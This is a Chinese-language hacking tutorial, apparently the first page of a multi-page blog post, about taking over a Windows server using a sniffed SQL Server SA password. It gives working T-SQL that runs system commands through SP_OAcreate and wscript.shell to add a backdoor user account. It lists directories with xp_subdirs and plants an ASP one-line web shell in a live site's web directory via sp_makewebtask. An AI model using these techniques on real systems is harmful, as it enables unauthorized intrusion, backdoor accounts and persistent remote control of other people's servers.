|
前几天在搞一个站的时候嗅到了一个SA密码 但是用sql tool连上之后发现怎么也不能执行DOS命令 郁闷了 今天突然想到可以用存储过程来搞定这个服务器
首先在本地用sql server的查询分析器连上他 权限当然是SA啦,但是在执行exec master.dbo.xp_cmdshell'net user'的时候却提示跟sql tool一样的错误 看来xp_cmdshell确实不能用。
错误消息 50001,级别 1,状态 50001 xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行) 可能是某个相关的DLL文件被删除了 如图1

看来xp_cmdshell是不能用鸟~ 不过偶们还有SP_OAcreate可以用 用SP_OAcreate一样可以执行系统命令 在查询分析器里执行
以下是代码片段: DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINdows\system32\cmd.exe /c net user gydyhook hook /add' |
这段代码就是利用SP_OAcreate来添加一个gydyhook的系统用户 然后直接提升为管理员权限就OK了 提示命令完成成功 说明SP_OAcreate并没有被删除 我们用终端连一下
如图2 图3


居然提示密码错误?难道是wscript.shell被删了?其实这里的判断只是经验而你 你要问我怎么判断服务器是 做了密码策略还是wscript.shell被删 我只能告诉你这是经验而已虽然wscript.shell被删了 但是我们还是有FSO嘛。
先试着列下目录找到WEB目录搞个SHELL再说使用exec master.dbo.xp_subdirs 'c:\'来查看C盘的目录发现完全可以列目录列目录没问题了 然后偶查看D盘的时候发现有D:\web这个目录 随便找一个网站在IE里打看发现存在这个网站。
然后列出来几个目录发现这个网站还有ewebeditor 不过偶们今天不用他 因为有SA嘛 也不用去备份了 直接写个一句话进去语句如下:
以下是代码片段: exec master.dbo.xp_subdirs 'd:\web\www.xx.com'; exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '
|
[1] [2] [3] 下一页 |